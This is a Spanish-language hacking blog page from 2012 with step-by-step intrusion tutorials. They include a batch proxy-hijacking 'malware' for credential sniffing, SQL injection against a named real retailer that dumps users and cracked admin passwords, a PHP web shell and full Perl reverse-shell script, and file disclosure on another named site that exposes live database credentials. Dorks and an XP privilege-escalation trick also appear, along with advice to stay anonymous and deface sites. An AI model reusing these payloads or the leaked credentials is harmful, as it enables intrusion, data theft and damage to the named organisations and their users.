junio 2012 ~ HD_Breaker Seguridad Informatica

Ethical Hacking And Exploits Development

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

Wargames Challenges and Solutions

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

Python App Development

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

Java Development Tools

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

Android App Development

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

domingo, 24 de junio de 2012

Accediendo a Fichero bash_History por Sql Injection

Este es un Vídeo de una Recopilacion de Datos q se basa en leer el fichero /Root/.bash_history utilizando una vulnerabilidad de Sqli, este vídeo viene de la mano de xc0d3 y crackx 
En el se Puede ver como una mala Administración y el uso indebido de una shell por parte del Administrador del sitio puede poner en riesgo un servidor.


Ataque Man in the Middle Remotamente


Ataque Man in the Middle Remotamente


Bueno en este tutorial voy a explicar una forma muy facil de realizar un ataque MIM de forma Remota
me decidi a postearlo porq no he leido en ningun foro como realizar esta facil operacion

Necesitaremos 2 cosas

1) Proxy Paros en su ultima version
2) Algun Lenguaje de Programacion
(para hacerlo de forma rapida decidi hacerlo bajo batch aunq se puede desarrollar en otro lenguaje)

Primero q nada Abrimos algun Puerto en Nuetro Modem yo elegi uno alto por ej 9669
Instalamos Proxy Paros, y nos vamos al apartado Tools/Options/Local Proxy
en Adress colocamos el ip de nuestra pc que brindara el servicio de proxy
y en Port el puerto donde correra el Servicio, en este caso 9669
Una ves configurado Paros Proxy nos vamos a programar nuestro malware



Para Lograr editar el proxy atraves de un batch en Firefox, debemos entender q la configuracion de proxys en Firefox se guarda en el archivo prefs.js
Ubicado en C:\Documents and Settings\"USUARIO"\Datos de programa\Mozilla\Firefox\Profiles\0sx27c3l.default\

0sx27c3l.default es un directorio que variara dependiendo de la version y la pc donde se instale Firefox

Sabiendo esto nos toca Crear un prefs.js q contenga la configuracion de Proxy con la IP Publica y puerto de la pc q corre Paros Proxy

Aca el Source del mismo:


# Mozilla User Preferences

/* Do not edit this file.
 *
 * If you make changes to this file while the application is running,
 * the changes will be overwritten when the application exits.
 *
 * To make a manual change to preferences, you can visit the URL about:config
 * For more information, see http://www.mozilla.org/unix/customizing.html#prefs
 */

user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1325582074);
user_pref("app.update.lastUpdateTime.background-update-timer", 1325582074);
user_pref("app.update.lastUpdateTime.blocklist-background-update-timer", 1325582074);
user_pref("app.update.lastUpdateTime.microsummary-generator-update-timer", 1325582074);
user_pref("app.update.lastUpdateTime.search-engine-update-timer", 1325582074);
user_pref("browser.download.manager.alertOnEXEOpen", true);
user_pref("browser.migration.version", 1);
user_pref("browser.places.importDefaults", false);
user_pref("browser.places.migratePostDataAnnotations", false);
user_pref("browser.places.smartBookmarksVersion", 1);
user_pref("browser.places.updateRecentTagsUri", false);
user_pref("browser.preferences.advanced.selectedTabIndex", 1);
user_pref("browser.rights.3.shown", true);
user_pref("browser.search.defaultenginename", "SweetIM Search");
user_pref("browser.search.defaulturl", "");
user_pref("browser.search.selectedEngine", "SweetIM Search");
user_pref("browser.startup.homepage", "http://home.sweetim.com");
user_pref("browser.startup.homepage_override.mstone", "rv:1.9.0.5");
user_pref("extensions.enabledItems", "{e001c731-5e37-4538-a5cb-8168736a2360}:0.9.9.114,ffxtlbr@Facemoods.com:1.4.1,{20a82645-c095-46ed-80e3-08825760534b}:1.0,{EEE6C361-6118-11DC-9C72-001320C79847}:1.2.0.2,{972ce4c6-7e08-4474-a285-3208198ce6fd}:3.0.5");
user_pref("extensions.facemoods.DNSErrUrl", "http://start.facemoods.com/?a=nv1&f=5");
user_pref("extensions.facemoods.aflt", "_#nv1");
user_pref("extensions.facemoods.dfltSrch", false);
user_pref("extensions.facemoods.dnsErr", false);
user_pref("extensions.facemoods.fcmdVrsn", "1.2.7.5.4");
user_pref("extensions.facemoods.firstRun", false);
user_pref("extensions.facemoods.first_time", false);
user_pref("extensions.facemoods.hmpg", false);
user_pref("extensions.facemoods.hmpgUrl", "http://start.facemoods.com/?a=nv1");
user_pref("extensions.facemoods.id", "_#142e8e7b0000000000000800276b6377");
user_pref("extensions.facemoods.instlDay", "_#15321");
user_pref("extensions.facemoods.mntz", "");
user_pref("extensions.facemoods.newTab", false);
user_pref("extensions.facemoods.prtnrId", "_#facemoods.com");
user_pref("extensions.facemoods.searchProviderAdded", false);
user_pref("extensions.facemoods.sid", "_#408714f6355a4f9b85e1b2f01e44ea3e");
user_pref("extensions.facemoods.tlbrSrchUrl", "http://start.facemoods.com/?a=nv1&f=3");
user_pref("extensions.facemoods.update", "_#v1.4.0");
user_pref("extensions.facemoods.vrsn", "_#1.4.17.11");
user_pref("extensions.update.notifyUser", false);
user_pref("general.useragent.extra.microsoftdotnet", "(.NET CLR 3.5.30729)");
user_pref("intl.charsetmenu.browser.cache", "UTF-8");
user_pref("keyword.URL", "http://search.sweetim.com/search.asp?src=2&q=");
user_pref("network.cookie.prefsMigrated", true);
user_pref("network.proxy.backup.ftp", "192.168.0.2");
user_pref("network.proxy.backup.ftp_port", 9669);
user_pref("network.proxy.backup.gopher", "192.168.0.2");
user_pref("network.proxy.backup.gopher_port", 9669);
user_pref("network.proxy.backup.socks", "192.168.0.2");
user_pref("network.proxy.backup.socks_port", 9669);
user_pref("network.proxy.backup.ssl", "192.168.0.2");
user_pref("network.proxy.backup.ssl_port", 9669);
user_pref("network.proxy.ftp", "IPPUBLICA");
user_pref("network.proxy.ftp_port", PUERTO PAROS);
user_pref("network.proxy.gopher", "IPPUBLICA");
user_pref("network.proxy.gopher_port", PUERTO PAROS);
user_pref("network.proxy.http", "IPPUBLICA");
user_pref("network.proxy.http_port", PUERTO PAROS);
user_pref("network.proxy.share_proxy_settings", true);
user_pref("network.proxy.socks", "IPPUBLICA");
user_pref("network.proxy.socks_port", PUERTO PAROS);
user_pref("network.proxy.ssl", "IPPUBLICA");
user_pref("network.proxy.ssl_port", PUERTO PAROS);
user_pref("network.proxy.type", 1);
user_pref("privacy.clearOnShutdown.cookies", false);
user_pref("security.warn_viewing_mixed", false);
user_pref("security.warn_viewing_mixed.show_once", false);
user_pref("sweetim.toolbar.highlight.colors", "#FFFF00,#00FFE4,#5AFF00,#0087FF,#FFCC00,#FF00F0");
user_pref("sweetim.toolbar.logger.ConsoleHandler.MinReportLevel", "7");
user_pref("sweetim.toolbar.logger.FileHandler.FileName", "ff-toolbar.log");
user_pref("sweetim.toolbar.logger.FileHandler.MaxFileSize", "200000");
user_pref("sweetim.toolbar.logger.FileHandler.MinReportLevel", "7");
user_pref("sweetim.toolbar.mode.debug", "false");
user_pref("sweetim.toolbar.previous.browser.search.defaultenginename", "");
user_pref("sweetim.toolbar.previous.browser.search.defaulturl", "");
user_pref("sweetim.toolbar.previous.browser.search.selectedEngine", "");
user_pref("sweetim.toolbar.previous.browser.startup.homepage", "");
user_pref("sweetim.toolbar.previous.keyword.URL", "chrome://browser-region/locale/region.properties");
user_pref("sweetim.toolbar.search.external", "");
user_pref("sweetim.toolbar.search.history.capacity", "10");
user_pref("sweetim.toolbar.searchguard.enable", "true");
user_pref("sweetim.toolbar.simapp_id", "{D1E38357-2567-11E1-A738-0800276B6377}");
user_pref("sweetim.toolbar.urls.homepage", "http://home.sweetim.com");
user_pref("sweetim.toolbar.version", "1.2.0.2");
user_pref("urlclassifier.keyupdatetime.https://sb-ssl.google.com/safebrowsing/newkey", 1342938776);
user_pref("xpinstall.whitelist.add", "");
user_pref("xpinstall.whitelist.add.103", "");


Deben Editar donde dice IPPUBLICA con la Ip del Servidor Paros y donde dice PUERTO PAROS con el Puerto Correspondiente

una ves Creado nuestro prefs.js (desde ahora lo llamaremos prefsh.js) nos vamos a programar nuestro Malware.

Abrimos el Notepad y pegamos lo siguiente (el siguiente Source cambia el Proxy en los Registros de IE)
(Tienen q Sustituir por el Ip del Servidor Proxy Paros donde dice MIIPPUBLICA (ip publica de su pc donde se corre Paros) y donde dice Puerto por el correspondiente Puerto)
@echo off

reg add “HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings” /v ProxyServer /t REG_SZ /d ftp=MIIPPUBLICA:Puerto;http=MIIPPUBLICA:Puerto;https=MIIPPUBLICA:Puerto;socks=MIIPPUBLICA:Puerto /f

reg add “HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings” /v ProxyEnable /t REG_DWORD /d 0 /f

copy prefsh.js c:\prefsh.js

REM aca sustituimos el prefs.js por nuestro prefsh.js

cd %APPDATA%\Mozilla\Firefox\Profiles\0sx27c3l.default
delete prefs.js
copy c:\prefsh.js %APPDATA%\Mozilla\Firefox\Profiles\prefs.js

exit



Aca tengo una falencia q seguro algun lector va a poder aclararme, dado q 0sx27c3l.default es una carpeta creada al momento de instalacion
como podria lograr a traves de batch encontrar el nombre de esa carpeta para luego moverme dentro de ella porq de otra manera el source anterior no funcionaria
en todas las pcs victimas

Pense en moverme primero a %APPDATA%\Mozilla\Firefox\Profiles luego buscar el archivo, con Dir prefs.js /s esto devolveria la hubicacion completa del mismo
y por lo tanto el nombre de esta carpeta default, ahora como puedo utilizar esta ruta o solo sacar el nombre de la carpeta y moverme dentro de ella para lograr
sustituir con exito prefs.js por prefsh.js?

Al finalizar esta parte, tendremos 2 archivos, prefsh.js y el batch y recurriremos a nuestro antiguo amigo iexpress
Crearemos un paquete de ejecucion oculta, meteremos ambos archivos y estableceremos el .bat para la ejecucion post descompresion

Hecho esto tendremos 1 archivo q deberemos mandarcelo a nuesta victima, al ejecutarlo toda informacion q viaje a travez de internet
sera redireccionada a nuestro Proxy y podremos verla en texto sin sifrar.

Como veran en la siguiente fotografia el usuario y password introducidos por la PCVictima se ven reflejados en Paros Proxy en texto Plano




Renuncia: Este contenido es Puramente Educativo, y no me responzabiliso del uso Inadecuado del mismo

No recomiendo para nada esta tecnica, ya q canta muchisimo, al cerrar Proxy Paros se caera la coneccion de la PCVictima y tambien saldran Carteles en los navegadores por falta de certificados, es algo arcaico existiendo los troyanos de hoy en dia, pero es una forma de enteder el sniffing a nivel remoto y una forma distinta a lo comun de lograrlo.

HD_Breaker

Intrucion a un Servidor Por Sqli y Obtener shell Remota


Intrucion a un Servidor Por Sqli y Obtener shell Remota


1) Conceptos Basicos de Netcat
2) Buscar Vulnerabilidad Sqli
3) PhpShell
4) PerlShell (Reverse Conection)

Primero que nada Me precento soy HD_Breaker y pretendo dar a conocer una falla que la gran mayoria de los Administradores Conocen,
pero no por esto es menos probable q exista en un Servidor.

1) Conceptos Basicos de Netcat

Primero q nada Necesitamos saber los conceptos basicos de tranferencia tcp/ip q es un puerto y q servicios corren
para esto utilizaremos nuestra Navaja Suiza (Net Cat)

Para los q no sepan Utilizarla aqui una breve descripcion de los comandos mas utilizados

Ncat -l -p "N" -vv "IP/Domain" -e "Commando"


Esta linea lo q hace es

-l (Listen) Pone a la escucha el puerto -p (N = numero de puerto) para recivir peticiones entrantes,
-vv Doble Vervose, esto muestra en pantalla todo lo q sucede atraves de la coneccion, IP ip/dominio al q se van a realizar las peticiones
(si no se coloca nada se tomara localhost), -e Ejecuta un comando al conectarce ej -e cmd

Ncat -l -p 9669 -vv 192.168.1.58 -e cmd
Esto si lo utilizamos en modo Servidor a netcat poniendo a la espera un servicio cmd atras del puerto 9669 en una ip local 192.168.1.58
(para acceder desde el exterior sera necesario tener un no-ip, dyndns,etc, abrir los puertos en el modem y hacer un Forwarding a la ip local correspondiente)

Explicacion Grafica


PC cliente ----> Servidor "Netcat" (brinda shell)
PC Cliente <---- Servidor "Netcat"

Desde este momento todo comando enviado desde PC Cliente, sera interpretado por el Servidor y respondera nuevamente hacia la PC Cliente

Netcat Tambien se puede usar como Cliente de la siguiente manera

Ncat -vv "IP" "Puerto"

De esta manera Ncat se conectara a la IP:PUERTO deseado

2) Primero q nada que es una vulnerabilidad SQL

Como todos sabemos SQL es una base de datos donde atraves de peticiones especiales puede escribirce y recivir informacion dentro de ella
Esto se utiliza mucho en las web con contenido dinamico q requieren q el usuario se registre

Un uso comun de SQL y PHP se ve en los foros y en las web donde el usuario debe logearce

EL SOURCE:


<%
usuario=request.form("usuario")
pass=request.form("pass")

sql="SELECT * FROM usuarios WHERE user='" & usuario & "' and pw='" & pass & "'"
%>



Analicemos, este codigo lo q hace es pedir al usuario q ingrese usuario y contraseña
para luego compararlo y ver si existe dentro de la base de datos (TRUE) si el usuario no existe devuelve (FALSE)
y dira el clasico mensaje "Error usuario y/o password incorrecto"

Conociendo esto q pasa si el usuario ingresara algun codigo donde el resultado aunq no existiera en la base de datos
devolviera a la sentencia anterior TRUE

Ej

Si agregaramos un usuario existente por ej Admin y en password ' or ''=' esto resultaria true

SELECT * FROM usuarios WHERE user='Admin' and pass='' or ''='

esto resultaria q al procesar la sentencia el usuario existiera eso devolveria True y el '' or ''='' Simpre devolvera true
ya q el vacio siempre sera igual al vacio esto devolvera true y baypassearemos el login y accederemos a la cuenta de Admin sin saber su password

Esto es un Ejemplo basico hoy por hoy es casi inexistente demas esta decir q para q esto funcione las Magic Quotes deben estar desactivadas.

Como buscar una pagina vulnerable a SQLi

Existe Muchos Dorks de busqueda en Google un ejemplo seria

inurl:*.php?*=* site:.com.ar

Esto buscaria todas las paginas php con algun modulo dentro de los sitios .com.ar

Vamos a un Ejemplo Practico




www.cetrogar.com.ar/result.php?cat=6

Si en esta Direccion que Encontramos con nuestro Dork borramos el 6 y colocamos una ' (comilla)
automaticamente develaremos el siguiente error en el q radica la posibilidad de q la web sea vulnerable a Sql Injection


http://www.cetrogar.com.ar/result.php?cat='
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1


Dado a conocer esto, podemos realizar el Injection a mano o con alguna herramienta como SQLMAP

Para mas Informacion sobre Lograr Sqli Manualmente Presento el Post de mi Amigo Antrax donde se explica detalladamente como lograrlo:

http://www.antrax-labs.org/2012/01/sql-injection-desde-cero.html

Nos vamos a Sqlmap


Parametros Basicos

--url="URL+Modulo" --proxy="http://Proxy/" --dbs --tables --columns --dump

Siendo la web Injectable los parametros haran los siguiente

--url="Establecer URL Y MODULO Injectable" (http://www.cetrogar.com.ar/result.php?cat=6"
--Proxy="http://Proxy/" (IP del proxy) (Opcional)
--dbs Mostrara todas las bases de datos que Posee la web vulnerable
--tables Mostrara Todas dentro de una Base de datos ya seleccionada
--columns mostrara todas las columnas por la q esta formada la Tabla seleccionada
--dump mostrara la informacion Contenida en esa Tabla

Ejemplos

sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" --dbs

Esto nos devolvera Todas las bases de datos q corren en la web

available databases [2]:
  • cetrogar
  • information_schema

Seleccionamos la Base de Datos Cetrogar y pedimos q nos devuelva sus tablas de la siguiente manera

sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" -D cetrogar --tables

Nos Mostrara lo siguiente:


| activadores                         
| actualizacion_concurso         
| bancos_tarjetas                   
| beneficios_novios                 
| casamientos                         
| casamientos_articulos           
| categorias                           
| cetre_productosbackup       
| cetro_productos                   
| cetro_productos_cosquin     
| cetro_productos_jesusmaria 
| cetro_productos_mayo         
| cetro_productos_tostado     
| cetro_usuarios                   
| cetroplus_categoria             
| cetroplus_productos           
| envio                           
| envio_postales                 
| gerentes                         
| grupos_concurso             
| grupos_vendedores         
| localidad                       
| log                             
| marcas                         
| novedades                   
| origen                         
| origenesexcel               
| pais                             
| participantes_concursomama 
| postales                         
| premios                         
| premios_aperturasuc         
| premios_aperturasuc2       
| premios_morteros             
| premios_participantes       
| premios_participantes_aperturasuc
| premios_participantes_aperturasuc2
| premios_participantes_morteros   
| productos                       
| promo_ganantodos                 
| promociones                     
| provincia                       
| puntos_cetroplus                 
| subcategorias                   
| subproductos                   
| sucursales                       
| usuarios                         
| usuarios_cetroplus               
| usuarios_concurso               
| vendedores_mensual               
| vendedores_trimestral           


Aqui la magia Nos Interesa la tabla usuarios vamos a ver q tiene dentro de la siguiente manera

sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" -D cetrogar -T usuarios --columns

Nos devolvera:

+--------------+----------------------+
| Column       | Type                  
+--------------+----------------------+
| ID                | smallint(6) unsigned
| nivel_acceso | smallint(4) unsigned
| pass             | tinytext                  
| usuario         | tinytext                
+--------------+----------------------+

y por fin con --dump nos devolvera los usuarios y contraseñas contenidas en su interior


sudo ./sqlmap.py --url="http://www.cetrogar.com.ar/result.php?cat=6" --proxy="http://127.0.0.1:8118/" -D cetrogar -T usuarios --dump

+----+--------------+-------------------------------------------+-----------+
| ID | nivel_acceso | pass                                               | usuario
+----+--------------+-------------------------------------------+-----------+
| 8  | 0| a62039e2dd75ceffa3b72c632010c53a (ale123) | alejandro
| 7  | 0| 992112e53d3eb06c6bb87701a4574052            | silvanac
| 6  | 0| 9ae4b79178aaaebfe3ca8d0cc933ea78              | fernando
| 5  | 0| 34e09b9b490217de9c31f528a2a8a57d             | rocioc  
| 3  | 0| 1d96afbde5ac96a4b3d9814030f541c5               | marianoq|
| 2  | 0| 704b037a97fa9b25522b7c014c300f8a (4dm1n)  | Admin
+----+--------------+-------------------------------------------+-----------+


Bueno ya teniendo Usuario y Password (desencriptado md5) de Administrador lo q nos queda ahora es encontrar el AdminPanel
(ahi muchas formas de conceguir esto y no me cetrare aqui existe muchos tutoriales en la red)

http://www.cetrogar.com.ar/admin/

y aca nos aparece nuestro querido panel de logeo


Ingresamos los datos correspondiente mente y accedemos
(Recomiento utilizar algun metodo de anonimato, no queremos q se enteren q andubimos por donde no debemos)

Llendo al apartado Casamiento/ABM Beneficios por localidad Podremos Subir una "Imagen" aqui utilizaremos nuetra imaginacion y subiremos una phpshell
Primero q nada una ves seleccionada la imagen, copiaremos su URL para saber donde se situa, yo elegi esta:

http://www.cetrogar.com.ar/imgs/beneficios/1/amerian%20hotel.jpg

(Haremos un respaldo de la imagen q editaremos para luego resubirla y no hacer q CANTE mucho la intrusion)
Siendo:
http://www.cetrogar.com.ar/imgs/beneficios/1/
donde se almacenan las fotos

Subimos Nuetras phpshell


y volvemos a subir la foto original (respaldo para q no cantara)
ya que si no lo hacemos la imagen aparecera como rota


Una ves Hecho esto accedemos al directorio donde se suben las imagenes seguida de nuestra shell (en mi caso ee12.php)
http://www.cetrogar.com.ar/imgs/beneficios/1/ee12.php


Nos queda subir una ReverseShell en algun codigo de programacion yo eleji Perl y aca el Source:
#!/usr/bin/perl

use IO::Socket;

print q(

============
 HD_Breaker
============
);
$ARGC = @ARGV;
if ($ARGC != 3){
print "\nUsage: rsh.pl   ";
exit(0);
}

$host = $ARGV[0];
$port = $ARGV[1];
$OS = $ARGV[2];
use Socket;

print "
Connecting to $host ...";

socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'))
|| die "[-] Cannot Resolve $host";
connect(SOCKET, sockaddr_in($port, inet_aton($host)))
|| die "[-] Cannot Connect to $host";

print "\n
Connected!";


open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");

print "\n .::Powered By HD_Breaker";
if ($OS == "-l"){
$ejecutor = "/bin/bash";
system($ejecutor);
}

if ($OS == "-w"){
$ejecutor = "cmd";
system($ejecutor);
}

subimos el archivo en mi caso rsh.perl al servidor con la Opcion Upload de nuesta phpshell



He aqui el porq este Tutorial Empeso por el uso de Netcat

Abrimos Nuestra consona y ponemos a la escucha un puerto

Ncat -l -p 9669 -vv 192.168.1.2


y ejecutamos el ReverseShell desde nuestra phpshell


y ya tenemos una shell Resta Escalar los priviligios o simplemete hacer un deface


Demas Esta Decir que la apertura de puertos y el Forwarding de los mismos corre por cuenta del lector

Renuncia: Este tutorial es puramente Educativo, Cualquier uso Criminal que sea dado por otro usuario queda bajo su entera Responsabilidad.

HD_Breaker

Full Source Disclosure


Full Source Disclosure


Para realizar este tutorial necesitamos enteder el concepto de LFI (Local File Inclution)
LFI es un error de programacion en php bastante comun donde se permite incluir dentro del codigo php
de la web afectada, el codigo de otra q este en el mismo Dominio. EJ

Include.php

<?php
$pagina = $_GET['pagina'];
include($pagina);
?>


En este Breve surce se describe una falla LFI en el Parametro $pagina donde se puede llamar al contenido de otra pagina
y posterior mente incluirla en su source atraves de include().
como se puede ver este parametro se puede llamar desde la url, de la siguiente manera.

http://WebVulnerable.com/Include.php?pagina="Archivo a Incluir"


Un ejemplo Practico de esto seria:

http://WebVulnerable.com/Include.php?pagina=../../../../../../../../../etc/passwd

esto incluiria el contenido del archivo passwd y lo haria visible dentro de la pagina Include.php


El Full Source Disclosure funciona de forma similar ya que incluiremos un archivo dentro de una pagina php de descarga,
y de esta forma analisaremos detalladamente el source en nuestra pc buscando informacion sensible

Un Dork Comun para buscar una web vulnerable es:

inurl:download.php?file=* site:.com.ar

Buscamos un objetivo y probamos si es vulnerable, en mi caso elegi:

www.latinrisk.com.ar/download.php?file=doc/brochure-esp-final.pdf



copiamos la url y sustituimos el archivo brochure-esp-final.pdf por download.php
www.latinrisk.com.ar/download.php?file=download.php



y vemos como download.php es descargado a nuestro disco duro, analisemos su contenido



Como Podremos Distingir esta la clasica falla LFI en su Source

$file = basename($_GET['file']);

Esto es lo q nos va a permitir llevar a cabo nuestro ataque. Proseguimos
Dado que podemos descargar contenido al q no tenemos acceso desde, nuestro querido download.php?file=
empesaremos a descargar paginas con contenido importante, Ej.

Descargaremos el archivo index.php y analizaremos su contenido





omo podremos Apreciar dentro del source de index.php encontraremos el archivo de configuracion inc_loader.php

<? include ('inc_loader.php'); ?>

Descargemoslo y analisemos el Source! 






Como Podremos ver en el Source encontraremos incluidas varios Archivos de Configuracion.

include('inc/connect.php');
include('inc/func_std.php');
include('inc/sanitize.php');
include('inc_variables.php');


El q nos interesa es inc/connect.php

Nuevamente Descargamos y analizamos






Como veremos en su codigo empesamos a distingir sentencias q hacen referencia a la configuracion de MySql
ademas distinguimos en el principo del Suorce q se incluye el archivo config.php, Debe ser Interesante su contenido.

include_once('config.php');

Descargemos y analisemos!!! (se tiene q respetar el directorio dentro del q nos encontramos por lo tanto la ruta a incluir es inc/config.php)






Y como por arte de magia podemos divisar los usuarios y contraseñas de MySql tanto Locales como remotos
if ($_SERVER['HTTP_HOST'] == 'localhost' || $_SERVER['HTTP_HOST'] == 'server.lan')
{
   $config['mysqlhost'] = 'localhost';
   $config['mysqluser'] = 'root';
   $config['mysqlpass'] = '';
   $config['mysqldb']   = 'db_latinrisk';
   $_URL = 'http://server.lan/latinrisk/web/';
}
else
{
//   $config['mysqlhost'] = '190.228.29.68';
   $config['mysqlhost'] = '192.168.0.170';
   $config['mysqluser'] = 'user_latinrisk';
   $config['mysqlpass'] = 'Jwe9UoL6';
   $config['mysqldb']   = 'db_latinrisk';
   $_URL = 'http://www.latin-risk.com/';
}



Ahora nos fijamos si la web Posee phpmyadmin:




Tristemente la web no tiene phpmyadmin :( pero como somos algo intrepidos y sabemos analisar el codigo vemos q el servidor MySql
es accesible desde la siguiente ip Publica 190.228.29.68 con Usuario "user_latinrisk" y password "Jwe9UoL6"
aca la imaginacion del hacker, existen varios metodos para acceder remotamente a una base de datos, yo por mi parto Utilizare MySqlNavigaitor
(Demas esta decir q el puerto defautl de Coneccion a un servidor MySql es 3306)

Llenamos los campos Correctamente y damos en Fire :)




Podemos ver las bases de datos que se encuentran en el sitio latinrisk.com.ar (empresa q se dedica a "Solventar Vulnerabilidades Informaticas a Empresas" XD)



nos vamos a db_latinrisk/gral_admin y nos encontraremos con los 2 usuarios mas poderosos de esta web



Solo queda Desencryptar la pass en md5 de alguno de los 2 usuarios y tendremos acceso al AdminPanel de LatinRisk

Para los Peresosos:

admin a4be08c8f9378e32a2ffad1ab48d3e6 (lr1120)

Buscamos el AdminPanel con la tecnica q uds mas Prefieran y llegamos a la siguiente direccion

http://www.latinrisk.com.ar/admin/



Ingresamos los datos correspondientes y damos click en Ingresar (Recomiendo usar algun metodo de Anonimato)
y podremos apreciar lo siguiente:




Solo queda Bypassear algun Upload de Imagenes y subir nuestra phpshell

Renuncia: Este Contenido es puramente Educativo, y todo uso indebido de el, corre bajo la total responsabilidad del actor.

HD_Breaker

Como Encontrar el AdminPanel

Como Encontrar el AdminPanel

Existen Varias Formas de Encontrar un AdminPanel, una muy buena es buscar dentro del archivo Robots.txt y ver si el directorio de Administracion se cuentra en el.

Ej

User-agent: *
Crawl-delay: 10

Disallow: /petition-tool/
Disallow: /?q=petition-tool/
Disallow: /*_escaped_fragment_
Disallow: /*_escaped_fragment_=/petition/
Disallow: /*_escaped_fragment_=/petitions/
Disallow: /petitions/!/petitions
Disallow: /?q=petitions/!/petitions/
Disallow: /petitions
Disallow: /search*
Disallow: /?q=search*
Disallow: /*.xml$
Disallow: /?q=ondcp/2013strategycomments
Disallow: /ondcp/2013strategycomments
Disallow: /admincp

User-agent: imo-google-robot-intelink
Disallow: /

Sitemap: http://www.whitehouse.gov/feed/media/video-audio


Aca como podemos ver dentro del contenido de robots.txt se cuentra la direccion del admin panel: /admincp

Otra Forma es Utilizar herramientas como Nikto q ademas de analizar los fallos del sitio en cuestion, tambien busca los directorios default de posible lectura, Nikto se utiliza con la siguiente sentencia desde la Shell

sudo ./Nikto.pl -h http://Dominio.com.ar/

Esto realizara un analisis de todas las Vulnerabilidades y Directorios encontradas por Nikto

Otra Forma es Utilizando DirBuster:




Donde dice Target Url deberemos colocar el protocolo y el puerto al que se le realizara el BruteForce de los Directorios
y en donde dice File whit list of dir, colocaremos un "Diccionario" de Directorios, por ej "Directory-list-2.3-small.txt
y le damos en Start. Tambien podremos Utilizar Simplemente Google con una sentencia como esta:

inurl:/*admin*.php site:www.rondinerh.com.ar

site:"aca colocamos el sitio en el cual buscamos el AdminPanel"






Tambien se puede usar algun Script q busque el AdminPanel

Aca el Source de uno (El Source no es mio y esta codeado en Perl):


http://pastebin.com/Qu20NnPw

Renuncia: Este tutoria es con fines Educativos, Cualquier uso Indevido del mismo Corre bajo la entera responsabilidad del actor.

HD_Breaker

Escalar Privilegios Localmente desde CMD Windows XP


Escalar Privilegios Localmente desde CMD Windows XP

Esto funciona en un entorno donde multiples Usuarios Utilizan el mismo pc y nosotros poseemos acceso a uno de ellos

Empecemos:

Abrimos cmd.exe y ejecutamos el siguiente codigo

at "time" /interactive cmd.exe

Este comando crea un proceso q se ejecutara a cierta hora,
el fallo esta en q el paramentro /interactive ejecuta el proceso con permisos de System

luego con el comando Time podremos setear la hora del reloj a la q establecimos previamente Ej:

at 21:33 /interactive cmd.exe




Ahora seteamos el clock a 00:33

Time 21:33



vemos como una consola aparece corriendo como System,
ahora lo entretenido cerraremos explorer.exe del usuario anterior y lo abriremos como System

taskkill /IM explorer.exe
explorer.exe



Vemos como Ahora podemos explorar de forma grafica el Disco Siendo System, esto nos permite
ir a X:\Document and Settings y entrar en la carpeta de Cualquier Usuario (de otra forma estariamos limitados a nuestra Carpeta Personal)
y copiar informacion sensible q necesitemos





Renuncia: El contenido de este Tutorial es puramente educativo, y todo uso mal intencionado correra bajo la responsabilidad del actor

PD: Es una tecnica muy vieja pero hasta el dia de hoy existen empresas con este fallo, poniendo en compromiso la informacion de sus usuarios.

Existen Diferentes Metodos para evitar este fallo, el mas comun es limitar el uso de los comandos at y time a usuarios de mayor privilegio.

HD_Breaker